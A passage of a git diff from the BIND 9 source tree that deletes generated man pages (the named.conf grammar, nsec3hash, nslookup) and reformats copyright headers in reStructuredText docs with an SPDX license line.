-      disable\-empty\-zone string;
-      dlz string {
-              database string;
-              search boolean;
-      };
-      dns64 netprefix {
-              break\-dnssec boolean;
-              clients { address_match_element; ... };
-              exclude { address_match_element; ... };
-              mapped { address_match_element; ... };
-              recursive\-only boolean;
-              suffix ipv6_address;
-      };
-      dns64\-contact string;
-      dns64\-server string;
-      dnskey\-sig\-validity integer;
-      dnsrps\-enable boolean;
-      dnsrps\-options { unspecified\-text };
-      dnssec\-accept\-expired boolean;
-      dnssec\-dnskey\-kskonly boolean;
-      dnssec\-loadkeys\-interval integer;
-      dnssec\-must\-be\-secure string boolean;
-      dnssec\-policy string;
-      dnssec\-secure\-to\-insecure boolean;
-      dnssec\-update\-mode ( maintain | no\-resign );
-      dnssec\-validation ( yes | no | auto );
-      dnstap { ( all | auth | client | forwarder | resolver | update ) [
-          ( query | response ) ]; ... };
-      dual\-stack\-servers [ port integer ] { ( quoted_string [ port
-          integer ] [ dscp integer ] | ipv4_address [ port
-          integer ] [ dscp integer ] | ipv6_address [ port
-          integer ] [ dscp integer ] ); ... };
-      dyndb string quoted_string {
-          unspecified\-text };
-      edns\-udp\-size integer;
-      empty\-contact string;
-      empty\-server string;
-      empty\-zones\-enable boolean;
-      fetch\-quota\-params integer fixedpoint fixedpoint fixedpoint;
-      fetches\-per\-server integer [ ( drop | fail ) ];
-      fetches\-per\-zone integer [ ( drop | fail ) ];
-      forward ( first | only );
-      forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-          | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-      glue\-cache boolean;// deprecated
-      ipv4only\-contact string;
-      ipv4only\-enable boolean;
-      ipv4only\-server string;
-      ixfr\-from\-differences ( primary | master | secondary | slave |
-          boolean );
-      key string {
-              algorithm string;
-              secret string;
-      };
-      key\-directory quoted_string;
-      lame\-ttl duration;
-      lmdb\-mapsize sizeval;
-      managed\-keys { string (
-          static\-key | initial\-key
-          | static\-ds | initial\-ds
-          ) integer integer
-          integer
-          quoted_string; ... };, deprecated
-      masterfile\-format ( map | raw | text );
-      masterfile\-style ( full | relative );
-      match\-clients { address_match_element; ... };
-      match\-destinations { address_match_element; ... };
-      match\-recursive\-only boolean;
-      max\-cache\-size ( default | unlimited | sizeval | percentage );
-      max\-cache\-ttl duration;
-      max\-clients\-per\-query integer;
-      max\-ixfr\-ratio ( unlimited | percentage );
-      max\-journal\-size ( default | unlimited | sizeval );
-      max\-ncache\-ttl duration;
-      max\-records integer;
-      max\-recursion\-depth integer;
-      max\-recursion\-queries integer;
-      max\-refresh\-time integer;
-      max\-retry\-time integer;
-      max\-stale\-ttl duration;
-      max\-transfer\-idle\-in integer;
-      max\-transfer\-idle\-out integer;
-      max\-transfer\-time\-in integer;
-      max\-transfer\-time\-out integer;
-      max\-udp\-size integer;
-      max\-zone\-ttl ( unlimited | duration );
-      message\-compression boolean;
-      min\-cache\-ttl duration;
-      min\-ncache\-ttl duration;
-      min\-refresh\-time integer;
-      min\-retry\-time integer;
-      minimal\-any boolean;
-      minimal\-responses ( no\-auth | no\-auth\-recursive | boolean );
-      multi\-master boolean;
-      new\-zones\-directory quoted_string;
-      no\-case\-compress { address_match_element; ... };
-      nocookie\-udp\-size integer;
-      notify ( explicit | master\-only | primary\-only | boolean );
-      notify\-delay integer;
-      notify\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      notify\-source\-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-          [ dscp integer ];
-      notify\-to\-soa boolean;
-      nta\-lifetime duration;
-      nta\-recheck duration;
-      nxdomain\-redirect string;
-      plugin ( query ) string [ {
-          unspecified\-text } ];
-      preferred\-glue string;
-      prefetch integer [ integer ];
-      provide\-ixfr boolean;
-      qname\-minimization ( strict | relaxed | disabled | off );
-      query\-source ( ( [ address ] ( ipv4_address | * ) [ port (
-          integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-          port ( integer | * ) ) ) [ dscp integer ];
-      query\-source\-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-          integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-          port ( integer | * ) ) ) [ dscp integer ];
-      rate\-limit {
-              all\-per\-second integer;
-              errors\-per\-second integer;
-              exempt\-clients { address_match_element; ... };
-              ipv4\-prefix\-length integer;
-              ipv6\-prefix\-length integer;
-              log\-only boolean;
-              max\-table\-size integer;
-              min\-table\-size integer;
-              nodata\-per\-second integer;
-              nxdomains\-per\-second integer;
-              qps\-scale integer;
-              referrals\-per\-second integer;
-              responses\-per\-second integer;
-              slip integer;
-              window integer;
-      };
-      recursion boolean;
-      request\-expire boolean;
-      request\-ixfr boolean;
-      request\-nsid boolean;
-      require\-server\-cookie boolean;
-      resolver\-nonbackoff\-tries integer;
-      resolver\-query\-timeout integer;
-      resolver\-retry\-interval integer;
-      response\-padding { address_match_element; ... } block\-size
-          integer;
-      response\-policy { zone string [ add\-soa boolean ] [ log
-          boolean ] [ max\-policy\-ttl duration ] [ min\-update\-interval
-          duration ] [ policy ( cname | disabled | drop | given | no\-op
-          | nodata | nxdomain | passthru | tcp\-only quoted_string ) ] [
-          recursive\-only boolean ] [ nsip\-enable boolean ] [
-          nsdname\-enable boolean ]; ... } [ add\-soa boolean ] [
-          break\-dnssec boolean ] [ max\-policy\-ttl duration ] [
-          min\-update\-interval duration ] [ min\-ns\-dots integer ] [
-          nsip\-wait\-recurse boolean ] [ nsdname\-wait\-recurse boolean
-          ] [ qname\-wait\-recurse boolean ] [ recursive\-only boolean ]
-          [ nsip\-enable boolean ] [ nsdname\-enable boolean ] [
-          dnsrps\-enable boolean ] [ dnsrps\-options { unspecified\-text
-          } ];
-      root\-delegation\-only [ exclude { string; ... } ];
-      root\-key\-sentinel boolean;
-      rrset\-order { [ class string ] [ type string ] [ name
-          quoted_string ] string string; ... };
-      send\-cookie boolean;
-      serial\-update\-method ( date | increment | unixtime );
-      server netprefix {
-              bogus boolean;
-              edns boolean;
-              edns\-udp\-size integer;
-              edns\-version integer;
-              keys server_key;
-              max\-udp\-size integer;
-              notify\-source ( ipv4_address | * ) [ port ( integer | *
-                  ) ] [ dscp integer ];
-              notify\-source\-v6 ( ipv6_address | * ) [ port ( integer
-                  | * ) ] [ dscp integer ];
-              padding integer;
-              provide\-ixfr boolean;
-              query\-source ( ( [ address ] ( ipv4_address | * ) [ port
-                  ( integer | * ) ] ) | ( [ [ address ] (
-                  ipv4_address | * ) ] port ( integer | * ) ) ) [
-                  dscp integer ];
-              query\-source\-v6 ( ( [ address ] ( ipv6_address | * ) [
-                  port ( integer | * ) ] ) | ( [ [ address ] (
-                  ipv6_address | * ) ] port ( integer | * ) ) ) [
-                  dscp integer ];
-              request\-expire boolean;
-              request\-ixfr boolean;
-              request\-nsid boolean;
-              send\-cookie boolean;
-              tcp\-keepalive boolean;
-              tcp\-only boolean;
-              transfer\-format ( many\-answers | one\-answer );
-              transfer\-source ( ipv4_address | * ) [ port ( integer |
-                  * ) ] [ dscp integer ];
-              transfer\-source\-v6 ( ipv6_address | * ) [ port (
-                  integer | * ) ] [ dscp integer ];
-              transfers integer;
-      };
-      servfail\-ttl duration;
-      sig\-signing\-nodes integer;
-      sig\-signing\-signatures integer;
-      sig\-signing\-type integer;
-      sig\-validity\-interval integer [ integer ];
-      sortlist { address_match_element; ... };
-      stale\-answer\-client\-timeout ( disabled | off | integer );
-      stale\-answer\-enable boolean;
-      stale\-answer\-ttl duration;
-      stale\-cache\-enable boolean;
-      stale\-refresh\-time duration;
-      synth\-from\-dnssec boolean;
-      transfer\-format ( many\-answers | one\-answer );
-      transfer\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      trust\-anchor\-telemetry boolean; // experimental
-      trust\-anchors { string ( static\-key |
-          initial\-key | static\-ds | initial\-ds
-          ) integer integer integer
-          quoted_string; ... };
-      trusted\-keys { string
-          integer integer
-          integer
-          quoted_string; ... };, deprecated
-      try\-tcp\-refresh boolean;
-      update\-check\-ksk boolean;
-      use\-alt\-transfer\-source boolean;
-      v6\-bias integer;
-      validate\-except { string; ... };
-      zero\-no\-soa\-ttl boolean;
-      zero\-no\-soa\-ttl\-cache boolean;
-      zone string [ class ] {
-              allow\-notify { address_match_element; ... };
-              allow\-query { address_match_element; ... };
-              allow\-query\-on { address_match_element; ... };
-              allow\-transfer { address_match_element; ... };
-              allow\-update { address_match_element; ... };
-              allow\-update\-forwarding { address_match_element; ... };
-              also\-notify [ port integer ] [ dscp integer ] { (
-                  primaries | ipv4_address [ port integer ] |
-                  ipv6_address [ port integer ] ) [ key string ] [
-                  tls string ]; ... };
-              alt\-transfer\-source ( ipv4_address | * ) [ port (
-                  integer | * ) ] [ dscp integer ];
-              alt\-transfer\-source\-v6 ( ipv6_address | * ) [ port (
-                  integer | * ) ] [ dscp integer ];
-              auto\-dnssec ( allow | maintain | off );
-              check\-dup\-records ( fail | warn | ignore );
-              check\-integrity boolean;
-              check\-mx ( fail | warn | ignore );
-              check\-mx\-cname ( fail | warn | ignore );
-              check\-names ( fail | warn | ignore );
-              check\-sibling boolean;
-              check\-spf ( warn | ignore );
-              check\-srv\-cname ( fail | warn | ignore );
-              check\-wildcard boolean;
-              database string;
-              delegation\-only boolean;
-              dialup ( notify | notify\-passive | passive | refresh |
-                  boolean );
-              dlz string;
-              dnskey\-sig\-validity integer;
-              dnssec\-dnskey\-kskonly boolean;
-              dnssec\-loadkeys\-interval integer;
-              dnssec\-policy string;
-              dnssec\-secure\-to\-insecure boolean;
-              dnssec\-update\-mode ( maintain | no\-resign );
-              file quoted_string;
-              forward ( first | only );
-              forwarders [ port integer ] [ dscp integer ] { (
-                  ipv4_address | ipv6_address ) [ port integer ] [
-                  dscp integer ]; ... };
-              in\-view string;
-              inline\-signing boolean;
-              ixfr\-from\-differences boolean;
-              journal quoted_string;
-              key\-directory quoted_string;
-              masterfile\-format ( map | raw | text );
-              masterfile\-style ( full | relative );
-              masters [ port integer ] [ dscp integer ] { (
-                  primaries | ipv4_address [ port integer ] |
-                  ipv6_address [ port integer ] ) [ key string ] [
-                  tls string ]; ... };
-              max\-ixfr\-ratio ( unlimited | percentage );
-              max\-journal\-size ( default | unlimited | sizeval );
-              max\-records integer;
-              max\-refresh\-time integer;
-              max\-retry\-time integer;
-              max\-transfer\-idle\-in integer;
-              max\-transfer\-idle\-out integer;
-              max\-transfer\-time\-in integer;
-              max\-transfer\-time\-out integer;
-              max\-zone\-ttl ( unlimited | duration );
-              min\-refresh\-time integer;
-              min\-retry\-time integer;
-              multi\-master boolean;
-              notify ( explicit | master\-only | primary\-only | boolean );
-              notify\-delay integer;
-              notify\-source ( ipv4_address | * ) [ port ( integer | *
-                  ) ] [ dscp integer ];
-              notify\-source\-v6 ( ipv6_address | * ) [ port ( integer
-                  | * ) ] [ dscp integer ];
-              notify\-to\-soa boolean;
-              primaries [ port integer ] [ dscp integer ] { (
-                  primaries | ipv4_address [ port integer ] |
-                  ipv6_address [ port integer ] ) [ key string ] [
-                  tls string ]; ... };
-              request\-expire boolean;
-              request\-ixfr boolean;
-              serial\-update\-method ( date | increment | unixtime );
-              server\-addresses { ( ipv4_address | ipv6_address ); ... };
-              server\-names { string; ... };
-              sig\-signing\-nodes integer;
-              sig\-signing\-signatures integer;
-              sig\-signing\-type integer;
-              sig\-validity\-interval integer [ integer ];
-              transfer\-source ( ipv4_address | * ) [ port ( integer |
-                  * ) ] [ dscp integer ];
-              transfer\-source\-v6 ( ipv6_address | * ) [ port (
-                  integer | * ) ] [ dscp integer ];
-              try\-tcp\-refresh boolean;
-              type ( primary | master | secondary | slave | mirror |
-                  delegation\-only | forward | hint | redirect |
-                  static\-stub | stub );
-              update\-check\-ksk boolean;
-              update\-policy ( local | { ( deny | grant ) string (
-                  6to4\-self | external | krb5\-self | krb5\-selfsub |
-                  krb5\-subdomain | ms\-self | ms\-selfsub | ms\-subdomain |
-                  name | self | selfsub | selfwild | subdomain | tcp\-self
-                  | wildcard | zonesub ) [ string ] rrtypelist; ... };
-              use\-alt\-transfer\-source boolean;
-              zero\-no\-soa\-ttl boolean;
-              zone\-statistics ( full | terse | none | boolean );
-      };
-      zone\-statistics ( full | terse | none | boolean );
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS ZONE
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-zone string [ class ] {
-      allow\-notify { address_match_element; ... };
-      allow\-query { address_match_element; ... };
-      allow\-query\-on { address_match_element; ... };
-      allow\-transfer { address_match_element; ... };
-      allow\-update { address_match_element; ... };
-      allow\-update\-forwarding { address_match_element; ... };
-      also\-notify [ port integer ] [ dscp integer ] { ( primaries |
-          ipv4_address [ port integer ] | ipv6_address [ port
-          integer ] ) [ key string ] [ tls string ]; ... };
-      alt\-transfer\-source ( ipv4_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      alt\-transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer |
-          * ) ] [ dscp integer ];
-      auto\-dnssec ( allow | maintain | off );
-      check\-dup\-records ( fail | warn | ignore );
-      check\-integrity boolean;
-      check\-mx ( fail | warn | ignore );
-      check\-mx\-cname ( fail | warn | ignore );
-      check\-names ( fail | warn | ignore );
-      check\-sibling boolean;
-      check\-spf ( warn | ignore );
-      check\-srv\-cname ( fail | warn | ignore );
-      check\-wildcard boolean;
-      database string;
-      delegation\-only boolean;
-      dialup ( notify | notify\-passive | passive | refresh | boolean );
-      dlz string;
-      dnskey\-sig\-validity integer;
-      dnssec\-dnskey\-kskonly boolean;
-      dnssec\-loadkeys\-interval integer;
-      dnssec\-policy string;
-      dnssec\-secure\-to\-insecure boolean;
-      dnssec\-update\-mode ( maintain | no\-resign );
-      file quoted_string;
-      forward ( first | only );
-      forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-          | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-      in\-view string;
-      inline\-signing boolean;
-      ixfr\-from\-differences boolean;
-      journal quoted_string;
-      key\-directory quoted_string;
-      masterfile\-format ( map | raw | text );
-      masterfile\-style ( full | relative );
-      masters [ port integer ] [ dscp integer ] { ( primaries |
-          ipv4_address [ port integer ] | ipv6_address [ port
-          integer ] ) [ key string ] [ tls string ]; ... };
-      max\-ixfr\-ratio ( unlimited | percentage );
-      max\-journal\-size ( default | unlimited | sizeval );
-      max\-records integer;
-      max\-refresh\-time integer;
-      max\-retry\-time integer;
-      max\-transfer\-idle\-in integer;
-      max\-transfer\-idle\-out integer;
-      max\-transfer\-time\-in integer;
-      max\-transfer\-time\-out integer;
-      max\-zone\-ttl ( unlimited | duration );
-      min\-refresh\-time integer;
-      min\-retry\-time integer;
-      multi\-master boolean;
-      notify ( explicit | master\-only | primary\-only | boolean );
-      notify\-delay integer;
-      notify\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      notify\-source\-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-          [ dscp integer ];
-      notify\-to\-soa boolean;
-      primaries [ port integer ] [ dscp integer ] { ( primaries |
-          ipv4_address [ port integer ] | ipv6_address [ port
-          integer ] ) [ key string ] [ tls string ]; ... };
-      request\-expire boolean;
-      request\-ixfr boolean;
-      serial\-update\-method ( date | increment | unixtime );
-      server\-addresses { ( ipv4_address | ipv6_address ); ... };
-      server\-names { string; ... };
-      sig\-signing\-nodes integer;
-      sig\-signing\-signatures integer;
-      sig\-signing\-type integer;
-      sig\-validity\-interval integer [ integer ];
-      transfer\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      try\-tcp\-refresh boolean;
-      type ( primary | master | secondary | slave | mirror |
-          delegation\-only | forward | hint | redirect | static\-stub |
-          stub );
-      update\-check\-ksk boolean;
-      update\-policy ( local | { ( deny | grant ) string ( 6to4\-self |
-          external | krb5\-self | krb5\-selfsub | krb5\-subdomain | ms\-self
-          | ms\-selfsub | ms\-subdomain | name | self | selfsub | selfwild
-          | subdomain | tcp\-self | wildcard | zonesub ) [ string ]
-          rrtypelist; ... };
-      use\-alt\-transfer\-source boolean;
-      zero\-no\-soa\-ttl boolean;
-      zone\-statistics ( full | terse | none | boolean );
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SH FILES
-.sp
-\fB/etc/named.conf\fP
-.SH SEE ALSO
-.sp
-\fBnamed(8)\fP, \fBnamed\-checkconf(8)\fP, \fBrndc(8)\fP, \fBrndc\-confgen(8)\fP, \fBtsig\-keygen(8)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named.conf.rst b/doc/man/named.conf.rst
index d0c477d618..6fbdda695c 100644
--- a/doc/man/named.conf.rst
+++ b/doc/man/named.conf.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
diff --git a/doc/man/named.rst b/doc/man/named.rst
index a3ebd862a4..63c0f4b08a 100644
--- a/doc/man/named.rst
+++ b/doc/man/named.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
diff --git a/doc/man/nsec3hash.1in b/doc/man/nsec3hash.1in
deleted file mode 100644
index 88cc9030ff..0000000000
--- a/doc/man/nsec3hash.1in
+++ /dev/null
@@ -1,78 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NSEC3HASH" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-nsec3hash \- generate NSEC3 hash
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnsec3hash\fP {salt} {algorithm} {iterations} {domain}
-.sp
-\fBnsec3hash\fP \fB\-r\fP {algorithm} {flags} {iterations} {salt} {domain}
-.SH DESCRIPTION
-.sp
-\fBnsec3hash\fP generates an NSEC3 hash based on a set of NSEC3
-parameters. This can be used to check the validity of NSEC3 records in a
-signed zone.
-.sp
-If this command is invoked as \fBnsec3hash \-r\fP, it takes arguments in
-order, matching the first four fields of an NSEC3 record followed by the
-domain name: \fBalgorithm\fP, \fBflags\fP, \fBiterations\fP, \fBsalt\fP, \fBdomain\fP\&. This makes it
-convenient to copy and paste a portion of an NSEC3 or NSEC3PARAM record
-into a command line to confirm the correctness of an NSEC3 hash.
-.SH ARGUMENTS
-.INDENT 0.0
-.TP
-.B \fBsalt\fP
-This is the salt provided to the hash algorithm.
-.TP
-.B \fBalgorithm\fP
-This is a number indicating the hash algorithm. Currently the only supported
-hash algorithm for NSEC3 is SHA\-1, which is indicated by the number
-1; consequently "1" is the only useful value for this argument.
-.TP
-.B \fBflags\fP
-This is provided for compatibility with NSEC3 record presentation format, but
-is ignored since the flags do not affect the hash.
-.TP
-.B \fBiterations\fP
-This is the number of additional times the hash should be performed.
-.TP
-.B \fBdomain\fP
-This is the domain name to be hashed.
-.UNINDENT
-.SH SEE ALSO
-.sp
-BIND 9 Administrator Reference Manual, \fI\%RFC 5155\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/nsec3hash.rst b/doc/man/nsec3hash.rst
index b47aec4c61..ba81f0d069 100644
--- a/doc/man/nsec3hash.rst
+++ b/doc/man/nsec3hash.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/tools/nsec3hash.rst
\ No newline at end of file
+.. include:: ../../bin/tools/nsec3hash.rst
diff --git a/doc/man/nslookup.1in b/doc/man/nslookup.1in
deleted file mode 100644
index 2540113ea3..0000000000
--- a/doc/man/nslookup.1in
+++ /dev/null
@@ -1,225 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NSLOOKUP" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-nslookup \- query Internet name servers interactively
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnslookup\fP [\-option] [name | \-] [server]
-.SH DESCRIPTION
-.sp
-\fBnslookup\fP is a program to query Internet domain name servers.
-\fBnslookup\fP has two modes: interactive and non\-interactive. Interactive
-mode allows the user to query name servers for information about various
-hosts and domains or to print a list of hosts in a domain.
-Non\-interactive mode prints just the name and requested
-information for a host or domain.
-.SH ARGUMENTS
-.sp
-Interactive mode is entered in the following cases:
-.INDENT 0.0
-.IP a. 3
-when no arguments are given (the default name server is used);
-.IP b. 3
-when the first argument is a hyphen (\-) and the second argument is
-the host name or Internet address of a name server.
-.UNINDENT
-.sp
-Non\-interactive mode is used when the name or Internet address of the
-host to be looked up is given as the first argument. The optional second
-argument specifies the host name or address of a name server.
-.sp
-Options can also be specified on the command line if they precede the
-arguments and are prefixed with a hyphen. For example, to change the
-default query type to host information, with an initial timeout of 10
-seconds, type:
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-nslookup \-query=hinfo  \-timeout=10
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-The \fB\-version\fP option causes \fBnslookup\fP to print the version number
-and immediately exit.
-.SH INTERACTIVE COMMANDS
-.INDENT 0.0
-.TP
-.B \fBhost [server]\fP
-This command looks up information for \fBhost\fP using the current default server or
-using \fBserver\fP, if specified. If \fBhost\fP is an Internet address and the
-query type is A or PTR, the name of the host is returned. If \fBhost\fP is
-a name and does not have a trailing period (\fB\&.\fP), the search list is used
-to qualify the name.
-.sp
-To look up a host not in the current domain, append a period to the
-name.
-.TP
-.B \fBserver domain\fP | \fBlserver domain\fP
-These commands change the default server to \fBdomain\fP; \fBlserver\fP uses the initial
-server to look up information about \fBdomain\fP, while \fBserver\fP uses the
-current default server. If an authoritative answer cannot be found,
-the names of servers that might have the answer are returned.
-.TP
-.B \fBroot\fP
-This command is not implemented.
-.TP
-.B \fBfinger\fP
-This command is not implemented.
-.TP
-.B \fBls\fP
-This command is not implemented.
-.TP
-.B \fBview\fP
-This command is not implemented.
-.TP
-.B \fBhelp\fP
-This command is not implemented.
-.TP
-.B \fB?\fP
-This command is not implemented.
-.TP
-.B \fBexit\fP
-This command exits the program.
-.TP
-.B \fBset keyword[=value]\fP
-This command is used to change state information that affects the
-lookups. Valid keywords are:
-.INDENT 7.0
-.TP
-.B \fBall\fP
-This keyword prints the current values of the frequently used options to
-\fBset\fP\&. Information about the current default server and host is
-also printed.
-.TP
-.B \fBclass=value\fP
-This keyword changes the query class to one of:
-.INDENT 7.0
-.TP
-.B \fBIN\fP
-the Internet class
-.TP
-.B \fBCH\fP
-the Chaos class
-.TP
-.B \fBHS\fP
-the Hesiod class
-.TP
-.B \fBANY\fP
-wildcard
-.UNINDENT
-.sp
-The class specifies the protocol group of the information. The default
-is \fBIN\fP; the abbreviation for this keyword is \fBcl\fP\&.
-.TP
-.B \fBnodebug\fP
-This keyword turns on or off the display of the full response packet, and any
-intermediate response packets, when searching. The default for this keyword is
-\fBnodebug\fP; the abbreviation for this keyword is \fB[no]deb\fP\&.
-.TP
-.B \fBnod2\fP
-This keyword turns debugging mode on or off. This displays more about what
-nslookup is doing. The default is \fBnod2\fP\&.
-.TP
-.B \fBdomain=name\fP
-This keyword sets the search list to \fBname\fP\&.
-.TP
-.B \fBnosearch\fP
-If the lookup request contains at least one period, but does not end
-with a trailing period, this keyword appends the domain names in the domain
-search list to the request until an answer is received. The default is \fBsearch\fP\&.
-.TP
-.B \fBport=value\fP
-This keyword changes the default TCP/UDP name server port to \fBvalue\fP from
-its default, port 53. The abbreviation for this keyword is \fBpo\fP\&.
-.TP
-.B \fBquerytype=value\fP | \fBtype=value\fP
-This keyword changes the type of the information query to \fBvalue\fP\&. The
-defaults are A and then AAAA; the abbreviations for these keywords are
-\fBq\fP and \fBty\fP\&.
-.sp
-Please note that it is only possible to specify one query type. Only the default
-behavior looks up both when an alternative is not specified.
-.TP
-.B \fBnorecurse\fP
-This keyword tells the name server to query other servers if it does not have
-the information. The default is \fBrecurse\fP; the abbreviation for this
-keyword is \fB[no]rec\fP\&.
-.TP
-.B \fBndots=number\fP
-This keyword sets the number of dots (label separators) in a domain that
-disables searching. Absolute names always stop searching.
-.TP
-.B \fBretry=number\fP
-This keyword sets the number of retries to \fBnumber\fP\&.
-.TP
-.B \fBtimeout=number\fP
-This keyword changes the initial timeout interval to wait for a reply to
-\fBnumber\fP, in seconds.
-.TP
-.B \fBnovc\fP
-This keyword indicates that a virtual circuit should always be used when sending requests to the server.
-\fBnovc\fP is the default.
-.TP
-.B \fBnofail\fP
-This keyword tries the next nameserver if a nameserver responds with SERVFAIL or
-a referral (nofail), or terminates the query (fail) on such a response. The
-default is \fBnofail\fP\&.
-.UNINDENT
-.UNINDENT
-.SH RETURN VALUES
-.sp
-\fBnslookup\fP returns with an exit status of 1 if any query failed, and 0
-otherwise.
-.SH IDN SUPPORT
-.sp
-If \fBnslookup\fP has been built with IDN (internationalized domain name)
-support, it can accept and display non\-ASCII domain names. \fBnslookup\fP
-appropriately converts character encoding of a domain name before sending
-a request to a DNS server or displaying a reply from the server.
-To turn off IDN support, define the \fBIDN_DISABLE\fP
-environment variable. IDN support is disabled if the variable is set
-when \fBnslookup\fP runs, or when the standard output is not a tty.
-.SH FILES
-.sp
-\fB/etc/resolv.conf\fP
-.SH SEE ALSO
-.sp
-\fBdig(1)\fP, \fBhost(1)\fP, \fBnamed(8)\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/nslookup.rst b/doc/man/nslookup.rst
index e87ad56822..015740d2f2 100644
--- a/doc/man/nslookup.rst
+++ b/doc/man/nslookup.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
